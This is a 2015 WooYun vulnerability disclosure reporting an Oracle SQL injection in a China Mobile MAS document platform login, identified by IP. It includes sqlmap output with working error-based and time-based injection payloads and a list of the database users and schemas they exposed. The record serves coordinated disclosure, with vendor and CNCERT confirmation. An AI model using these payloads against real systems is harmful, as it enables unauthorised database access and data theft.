当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0119112

漏洞标题：中国移动MAS服务平台Oracle注入

相关厂商：中国移动

漏洞作者： 超威蓝猫

提交时间：2015-06-08 21:29

修复时间：2015-07-27 10:34

公开时间：2015-07-27 10:34

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-08： 细节已通知厂商并且等待厂商处理中
2015-06-12： 厂商已经确认，细节仅向厂商公开
2015-06-22： 细节向核心白帽子及相关领域专家公开
2015-07-02： 细节向普通白帽子公开
2015-07-12： 细节向实习白帽子公开
2015-07-27： 细节向公众公开

简要描述：

高考结束啦) 中国移动MAS服务平台Oracle注入

详细说明：

IP: 218.206.191.49 (之前发的 http://wooyun.org/bugs/wooyun-2015-0117816 中提到的 http://si.power.10086.cn 也在同一个C段 218.206.191.27 这个C段还有很多问题，后续会发)

sshot-2015-06-08-[1].png


MAS登录 http://218.206.191.49/MasAutoTest
8001端口有个废弃的文档资料平台 http://218.206.191.49:8001 登录处存在SQL注射

sshot-2015-06-08-[2].png


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: userCode (POST)
    Type: error-based
    Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
    Payload: userCode=admin' AND 6302=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(107)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (6302=6302) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(118)||CHR(98)||CHR(120)||CHR(113)||CHR(62))) FROM DUAL) AND 'QtMX'='QtMX&userPassword=admin&x=32&y=7
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind
    Payload: userCode=admin' AND 2351=DBMS_PIPE.RECEIVE_MESSAGE(CHR(85)||CHR(101)||CHR(77)||CHR(105),5) AND 'AjeD'='AjeD&userPassword=admin&x=32&y=7
---
back-end DBMS: Oracle
current user:    'IKM'
current schema (equivalent to database on Oracle):    'IKM'
database management system users [28]:
[*] AIUAP
[*] BOMCUSER
[*] DBSNMP
[*] EXPDB
[*] EXPFULL
[*] IKM
[*] IKM_NEW
[*] IMPDB
[*] ISMPCFG
[*] ITMUSER
[*] MASADM
[*] OUTLN
[*] PERFSTAT
[*] QIUWJ
[*] RMAN
[*] SYS
[*] SYSMAS
[*] SYSTEM
[*] TEST
[*] TESTMAS
[*] WATCH_MAS
[*] WEBMEETING
[*] WENZW
[*] WMSYS
[*] YP
[*] YUANPU
[*] ZHANGYIN
[*] ZJKFZC
available databases [11]:
[*] IKM
[*] ISMPCFG
[*] OUTLN
[*] PERFSTAT
[*] RMAN
[*] SYS
[*] SYSTEM
[*] TEST
[*] WEBMEETING
[*] WMSYS
[*] ZJKFZC

漏洞证明：

如上

修复方案：

高考结束啦

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-12 10:33

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向中国移动集团公司通报，由其后续协调网站管理部门处置。

最新状态：

暂无